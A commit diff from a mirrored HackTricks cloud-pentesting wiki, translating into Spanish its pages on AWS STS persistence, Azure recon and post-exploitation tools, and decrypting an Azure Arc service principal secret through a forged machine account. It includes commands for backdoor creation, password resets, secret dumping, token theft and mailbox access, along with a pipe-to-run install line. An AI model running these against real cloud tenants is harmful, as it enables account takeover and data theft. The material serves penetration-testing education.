gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-01 07:25:51 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

Browse Source
This commit is contained in:
Translator
2025-01-21 17:36:43 +00:00
parent b073ba19ce
commit b4241e8188
42 changed files with 587 additions and 568 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
View File

@@ -10,7 +10,7 @@ Para más información accede a:
../aws-services/aws-sts-enum.md
{{#endref}}
### Token de asunción de rol
### Token de rol asumido
Los tokens temporales no se pueden listar, por lo que mantener un token temporal activo es una forma de mantener la persistencia.
@@ -18,15 +18,15 @@ Los tokens temporales no se pueden listar, por lo que mantener un token temporal
# Con MFA
aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
--serial-number <mfa-device-name> \
--token-code <code-from-token>
# El nombre del dispositivo de hardware suele ser el número de la parte posterior del dispositivo, como GAHT12345678
<strong># El nombre del dispositivo SMS es el ARN en AWS, como arn:aws:iam::123456789012:sms-mfa/username
</strong># El nombre del dispositivo virtual es el ARN en AWS, como arn:aws:iam::123456789012:mfa/username
</code></pre>
### Malabarismo de Cadenas de Rol
### Malabarismo de Cadenas de Roles
[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizado para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales.
@@ -45,7 +45,7 @@ optional arguments:
<details>
<summary>Código para realizar Role Juggling desde PowerShell</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

236
src/pentesting-cloud/azure-security/README.md
View File

@@ -64,11 +64,11 @@ En casos donde tienes algunas credenciales válidas pero no puedes iniciar sesi
- **Lista blanca de IP** -- Necesitas comprometer una IP válida
- **Restricciones geográficas** -- Encuentra dónde vive el usuario o dónde están las oficinas de la empresa y obtén una IP de la misma ciudad (o país al menos)
- **Navegador** -- Tal vez solo se permite un navegador de cierto SO (Windows, Linux, Mac, Android, iOS). Descubre qué SO usa la víctima/empresa.
- También puedes intentar **comprometer las credenciales del Service Principal** ya que generalmente son menos limitadas y su inicio de sesión es menos revisado
- También puedes intentar **comprometer las credenciales del Service Principal** ya que suelen ser menos limitadas y su inicio de sesión es menos revisado
Después de eludirlo, podrías ser capaz de volver a tu configuración inicial y aún tendrás acceso.
### Toma de Subdominio
### Toma de Control de Subdominio
- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -124,9 +124,9 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
>
> Puedes obtener la misma información en la **consola web** yendo a [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) o buscando "Todos los recursos"
### Enumeración de ENtra ID
### Enumeración de Entra ID
Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/index.html#default-user-permissions)).\
Por defecto, cualquier usuario debería tener **suficientes permisos para enumerar** cosas como, usuarios, grupos, roles, principales de servicio... (ver [permisos predeterminados de AzureAD](az-basic-information/index.html#default-user-permissions)).\
Aquí puedes encontrar una guía:
{{#ref}}
@@ -147,228 +147,6 @@ Usa portal.azure.com y selecciona la shell, o usa shell.azure.com, para un bash
## Azure DevOps
Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos.
Azure DevOps es independiente de Azure. Tiene repositorios, pipelines (yaml o release), tableros, wiki, y más. Los Grupos de Variables se utilizan para almacenar valores de variables y secretos.
## Debug | MitM az cli
Usando el parámetro **`--debug`** es posible ver todas las solicitudes que la herramienta **`az`** está enviando:
```bash
az account management-group list --output table --debug
```
Para realizar un **MitM** a la herramienta y **verificar todas las solicitudes** que está enviando manualmente, puedes hacer:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## Herramientas de Reconocimiento Automatizado
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the ‘Contributor’ role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}}

243
src/pentesting-cloud/azure-security/az-enumeration-tools.md
View File

@@ -45,7 +45,7 @@ pwsh
brew update
brew upgrade powershell
```
## Herramientas Principales de Enumeración
## Herramientas de Enumeración Principales
### az cli
@@ -55,7 +55,7 @@ Sigue este enlace para las [**instrucciones de instalación¡**](https://learn.m
Los comandos en Azure CLI están estructurados utilizando un patrón de: `az <servicio> <acción> <parámetros>`
#### Depurar | MitM az cli
#### Depuración | MitM az cli
Usando el parámetro **`--debug`** es posible ver todas las solicitudes que la herramienta **`az`** está enviando:
```bash
@@ -128,4 +128,243 @@ El módulo de Azure Active Directory (AD), ahora **obsoleto**, es parte de Azure
Sigue este enlace para las [**instrucciones de instalación**](https://www.powershellgallery.com/packages/AzureAD).
## Herramientas de Reconocimiento y Cumplimiento Automatizadas
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot con steampipe y powerpipe permite recopilar información de Azure y Entra ID y realizar verificaciones de cumplimiento y encontrar configuraciones incorrectas. Los módulos de Azure actualmente más recomendados para ejecutar son:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad en AWS, Azure, Google Cloud y Kubernetes, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense.
Básicamente, nos permitiría ejecutar cientos de verificaciones en un entorno de Azure para encontrar configuraciones de seguridad incorrectas y recopilar los resultados en json (y otros formatos de texto) o verificarlos en la web.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
Permite realizar revisiones de la configuración de seguridad de suscripciones de Azure y Microsoft Entra ID automáticamente.
Los informes en HTML se almacenan dentro del directorio `./monkey-reports` dentro de la carpeta del repositorio de github.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite recopila datos de configuración para inspección manual y destaca áreas de riesgo. Es una herramienta de auditoría de seguridad multi-nube, que permite la evaluación de la postura de seguridad de los entornos en la nube.
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
Es un script de PowerShell que te ayuda a **visualizar todos los recursos y permisos dentro de un Grupo de Gestión y el inquilino de Entra ID** y encontrar configuraciones de seguridad incorrectas.
Funciona utilizando el módulo Az PowerShell, por lo que cualquier autenticación soportada por esta herramienta es soportada por la herramienta.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Herramientas de Post-Explotación Automatizadas
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
La enumeración de ROADRecon ofrece información sobre la configuración de Entra ID, como usuarios, grupos, roles, políticas de acceso condicional...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Lanza la **BloodHound** web con **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** e importa el archivo `output.json`.
Luego, en la pestaña **EXPLORE**, en la sección **CYPHER** puedes ver un ícono de **carpeta** que contiene consultas predefinidas.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst incluye funciones y scripts que soportan el descubrimiento de servicios de Azure, auditoría de configuraciones débiles y acciones de post explotación como el volcado de credenciales. Está destinado a ser utilizado durante pruebas de penetración donde se utiliza Azure.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
PowerZure fue creado por la necesidad de un marco que pueda realizar tanto reconocimiento como explotación de Azure, EntraID y los recursos asociados.
Utiliza el módulo **Az PowerShell**, por lo que cualquier autenticación soportada por esta herramienta es soportada por la herramienta.
```bash
# Login
Import-Module Az
Connect-AzAccount
# Clone and import PowerZure
git clone https://github.com/hausec/PowerZure
cd PowerZure
ipmo ./Powerzure.psd1
Invoke-Powerzure -h # Check all the options
# Info Gathering (read)
Get-AzureCurrentUser # Get current user
Get-AzureTarget # What can you access to
Get-AzureUser -All # Get all users
Get-AzureSQLDB -All # Get all SQL DBs
Get-AzureAppOwner # Owners of apps in Entra
Show-AzureStorageContent -All # List containers, shared and tables
Show-AzureKeyVaultContent -All # List all contents in key vaults
# Operational (write)
Set-AzureUserPassword -Password <password> -Username <username> # Change password
Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
New-AzureBackdoor -Username <username> -Password <password>
Invoke-AzureRunCommand -Command <command> -VMName <vmname>
[...]
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
GraphRunner es un conjunto de herramientas de post-explotación para interactuar con la API de Microsoft Graph. Proporciona varias herramientas para realizar reconocimiento, persistencia y saqueo de datos de una cuenta de Microsoft Entra ID (Azure AD).
```bash
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
### [Stormspotter](https://github.com/Azure/Stormspotter)
Stormspotter crea un “gráfico de ataque” de los recursos en una suscripción de Azure. Permite a los equipos rojos y pentesters visualizar la superficie de ataque y las oportunidades de pivote dentro de un inquilino, y potencia a tus defensores para orientarse y priorizar rápidamente el trabajo de respuesta a incidentes.
**Desafortunadamente, parece no estar mantenido**.
```bash
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
{{#include ../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
View File

@@ -4,7 +4,7 @@
### Identifying the Issues
Azure Arc permite la integración de nuevos servidores internos (servidores unidos al dominio) en Azure Arc utilizando el método de Objeto de Política de Grupo. Para facilitar esto, Microsoft proporciona un kit de herramientas de implementación necesario para iniciar el procedimiento de incorporación. Dentro del archivo ArcEnableServerGroupPolicy.zip, se pueden encontrar los siguientes scripts: DeployGPO.ps1, EnableAzureArc.ps1 y AzureArcDeployment.psm1.
Azure Arc permite la integración de nuevos servidores internos (servidores unidos al dominio) en Azure Arc utilizando el método de Objeto de Directiva de Grupo. Para facilitar esto, Microsoft proporciona un kit de herramientas de implementación necesario para iniciar el procedimiento de incorporación. Dentro del archivo ArcEnableServerGroupPolicy.zip, se pueden encontrar los siguientes scripts: DeployGPO.ps1, EnableAzureArc.ps1 y AzureArcDeployment.psm1.
Cuando se ejecuta, el script DeployGPO.ps1 realiza las siguientes acciones:
@@ -13,8 +13,8 @@ Cuando se ejecuta, el script DeployGPO.ps1 realiza las siguientes acciones:
Al ejecutar este script, los administradores del sistema deben proporcionar dos parámetros principales: **ServicePrincipalId** y **ServicePrincipalClientSecret**. Además, requiere otros parámetros como el dominio, el FQDN del servidor que aloja el recurso compartido y el nombre del recurso compartido. También se deben proporcionar más detalles como el ID del inquilino, el grupo de recursos y otra información necesaria al script.
Se genera un secreto cifrado en el directorio AzureArcDeploy en el recurso compartido especificado utilizando cifrado DPAPI-NG. El secreto cifrado se almacena en un archivo llamado encryptedServicePrincipalSecret. La evidencia de esto se puede encontrar en el script DeployGPO.ps1, donde el cifrado se realiza llamando a ProtectBase64 con $descriptor y $ServicePrincipalSecret como entradas. El descriptor consiste en los SIDs del grupo de Computadoras de Dominio y Controladores de Dominio, asegurando que el ServicePrincipalSecret solo pueda ser descifrado por los Controladores de Dominio y grupos de seguridad de Computadoras de Dominio, como se indica en los comentarios del script.
```powershell
Se genera un secreto cifrado en el directorio AzureArcDeploy en el recurso compartido especificado utilizando cifrado DPAPI-NG. El secreto cifrado se almacena en un archivo llamado encryptedServicePrincipalSecret. La evidencia de esto se puede encontrar en el script DeployGPO.ps1, donde el cifrado se realiza llamando a ProtectBase64 con $descriptor y $ServicePrincipalSecret como entradas. El descriptor consiste en los SIDs del grupo de Computadoras de Dominio y Controladores de Dominio, asegurando que el ServicePrincipalSecret solo pueda ser descifrado por los grupos de seguridad de Controladores de Dominio y Computadoras de Dominio, como se indica en los comentarios del script.
```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -30,21 +30,21 @@ Tenemos las siguientes condiciones:
2. Tenemos la capacidad de crear o asumir el control de una cuenta de computadora dentro de Active Directory.
3. Hemos descubierto un recurso compartido de red que contiene el directorio AzureArcDeploy.
Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o diversas otras configuraciones incorrectas.
```powershell
Hay varios métodos para obtener una cuenta de máquina dentro de un entorno de AD. Uno de los más comunes es explotar la cuota de cuentas de máquina. Otro método implica comprometer una cuenta de máquina a través de ACLs vulnerables o varias otras configuraciones incorrectas.
```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Una vez que se obtiene una cuenta de máquina, es posible autenticarse utilizando esta cuenta. Podemos usar el comando runas.exe con la bandera netonly o usar pass-the-ticket con Rubeus.exe.
```powershell
```bash
runas /user:fake01$ /netonly powershell
```
```powershell
```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
Al tener el TGT para nuestra cuenta de computadora almacenado en memoria, podemos usar el siguiente script para descifrar el secreto del principal del servicio.
```powershell
```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

6
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
View File

@@ -29,14 +29,14 @@ federation.md
{{#endref}}
- **Seamless SSO:**
- Robo de la contraseña del usuario `AZUREADSSOACC`, utilizada para firmar tickets de Kerberos silver, permitiendo la suplantación de cualquier usuario en la nube.
- Robo de la contraseña del usuario `AZUREADSSOACC`, utilizada para firmar tickets de Kerberos, permitiendo la suplantación de cualquier usuario en la nube.
{{#ref}}
seamless-sso.md
{{#endref}}
- **Cloud Kerberos Trust**:
- Posibilidad de escalar de Global Admin a Domain Admin local manipulando los nombres de usuario y SIDs de los usuarios de AzureAD y solicitando TGTs de AzureAD.
- Posibilidad de escalar de Administrador Global a Administrador de Dominio local manipulando los nombres de usuario y SIDs de usuarios de AzureAD y solicitando TGTs de AzureAD.
{{#ref}}
az-cloud-kerberos-trust.md
@@ -52,7 +52,7 @@ az-default-applications.md
Para cada método de integración, se lleva a cabo la sincronización de usuarios, y se crea una cuenta `MSOL_<installationidentifier>` en el AD local. Notablemente, tanto los métodos **PHS** como **PTA** facilitan **Seamless SSO**, permitiendo el inicio de sesión automático para computadoras de Azure AD unidas al dominio local.
Para verificar la instalación de **Azure AD Connect**, se puede utilizar el siguiente comando de PowerShell, utilizando el módulo **AzureADConnectHealthSync** (instalado por defecto con Azure AD Connect):
```powershell
```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}

4
